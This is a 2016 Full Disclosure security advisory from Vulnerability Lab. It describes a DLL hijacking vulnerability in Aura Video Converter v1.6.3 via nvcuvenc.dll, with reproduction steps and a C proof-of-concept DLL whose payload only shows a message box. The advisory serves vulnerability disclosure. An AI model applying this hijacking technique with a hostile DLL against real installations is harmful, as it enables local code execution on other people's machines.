Message-ID: <7acab41f-4d8e-6ade-b624-364be963335e@vulnerability-lab.com>
Date: Tue, 4 Oct 2016 14:11:40 +0200
From: Vulnerability Lab <research@...nerability-lab.com>
To: fulldisclosure@...lists.org
Subject: [FD] Aura Video Converter v1.6.3 - DLL Hijacking Exploit

Document Title:
===============
Aura Video Converter v1.6.3 - DLL Hijacking Exploit


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=1965


Release Date:
=============
2016-10-04


Vulnerability Laboratory ID (VL-ID):
====================================
1965


Common Vulnerability Scoring System:
====================================
4.3


Product & Service Introduction:
===============================
Aura Video Converter is a gift from Aura4You. We make this video converter completely free for everyone. 
You can download and use this free video converter for any purpose. It's a free video converter for everybody.
Aura Free Video Converter is one of the most renowned free video converters for converting video files between 
various formats, with fast converting speed and excellent video quality.
 
(Copy of the Vendor Homepage: http://www.aura4you.com/ )


Abstract Advisory Information:
==============================
An independent vulnerability laboratory researcher discovered a dll hijacking exploit in the Aura Video Converter v1.6.3 software.


Vulnerability Disclosure Timeline:
==================================
2016-10-04:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Aura4You
Product: Aura Video Converter - Software 1.6.3


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A local dll injection vulnerability has been discovered in the official Aura Video Converter v1.6.3 software.
The issue allows local attackers to inject code to vulnerable dynamic link libraries to compromise the process 
or to gain higher system access privileges. Thus allows a local attacker to compromise the system process of the
affected software to followup with manipulations. 

Vulnerable Software:
[+] Aura Video Converter

Vulnerable Version(s):
[+] v1.6.3

Vulnerable Libraries:
[+] nvcuvenc.dll


Proof of Concept (PoC):
=======================
The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the local vulnerability ...
1. Compile dll
2. Rename the dynamic link library to nvcuvenc.dll 
3. Copy nvcuvenc.dll to C:Program FilesAura4YouAura Video ConverterAuraVideoConv.exe
4. Launch AuraVideoConv.exe
5. Now the MessageBox executes!


-- PoC Exploit --
#include <windows.h>
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}



Security Risk:
==============
The security risk of the dynamic link library issue in the software is estimated as medium. (CVSS 4.3)


Credits & Authors:
==================
ZwX - ( http://zwx.fr ) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
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or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for 
consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, 
deface websites, hack into databases or trade with stolen data.

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